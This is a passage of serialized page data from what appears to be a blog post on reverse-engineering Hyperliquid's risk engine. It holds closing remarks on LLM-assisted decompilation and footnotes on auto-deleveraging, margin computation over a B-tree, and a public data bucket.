\"what\".",{"type":22,"tag":23,"props":168946,"children":168947},{},[168948],{"type":27,"value":168949},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":22,"tag":23,"props":168951,"children":168952},{},[168953],{"type":27,"value":168954},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":22,"tag":168956,"props":168957,"children":168958},"report-footnotes",{},[168959],{"type":22,"tag":6828,"props":168960,"children":168961},{},[168962,168967,168994,168999,169004],{"type":22,"tag":6832,"props":168963,"children":168964},{},[168965],{"type":27,"value":168966},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":22,"tag":6832,"props":168968,"children":168969},{},[168970,168976,168978,168984,168986,168992],{"type":22,"tag":30,"props":168971,"children":168973},{"className":168972},[],[168974],{"type":27,"value":168975},"compute_user_margin_and_shortfall",{"type":27,"value":168977}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":22,"tag":30,"props":168979,"children":168981},{"className":168980},[],[168982],{"type":27,"value":168983},"0x748",{"type":27,"value":168985}," in the abstract expressions of ",{"type":22,"tag":30,"props":168987,"children":168989},{"className":168988},[],[168990],{"type":27,"value":168991},"btree_cursor",{"type":27,"value":168993},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":22,"tag":6832,"props":168995,"children":168996},{},[168997],{"type":27,"value":168998},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":22,"tag":6832,"props":169000,"children":169001},{},[169002],{"type":27,"value":169003},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":22,"tag":6832,"props":169005,"children":169006},{},[169007,169009,169015],{"type":27,"value":169008},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":22,"tag":30,"props":169010,"children":169012},{"className":169011},[],[169013],{"type":27,"value":169014},"s3://hl-mainnet-node-data/explorer_blocks",{"type":27,"value":231},{"title":7,"searchDepth":157,"depth":157,"links":169017},[169018,169019,169020,169021,169022,169025,169026,169027,169030,169031,169034,169038],{"id":162409,"depth":157,"text":162412},{"id":162402,"depth":157,"text":162430},{"id":162487,"depth":157,"text":162490},{"id":162768,"depth":157,"text":162771},{"id":162802,"depth":157,"text":162805,"children":169023},[169024],{"id":162941,"depth":182,"text":162944},{"id":163720,"depth":157,"text":163723},{"id":163816,"depth":157,"text":163819},{"id":164034,"depth":157,"text":164037,"children":169028},[169029],{"id":164279,"depth":182,"text":164282},{"id":164339,"depth":157,"text":164342},{"id":168705,"depth":157,"text":168708,"children":169032},[169033],{"id":168737,"depth":182,"text":168740},{"id":168796,"depth":157,"text":168799,"children":169035},[169036,169037],{"id":168802,"depth":182,"text":168805},{"id":168821,"depth":182,"text":164376},{"id":168851,"depth":157,"text":168854,"children":169039},[169040,169041,169042,169043],{"id":168862,"depth":182,"text":168865},{"id":168884,"depth":182,"text":168887},{"id":168900,"depth":182,"text":168903},{"id":168924,"depth":182,"text":168927},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630610]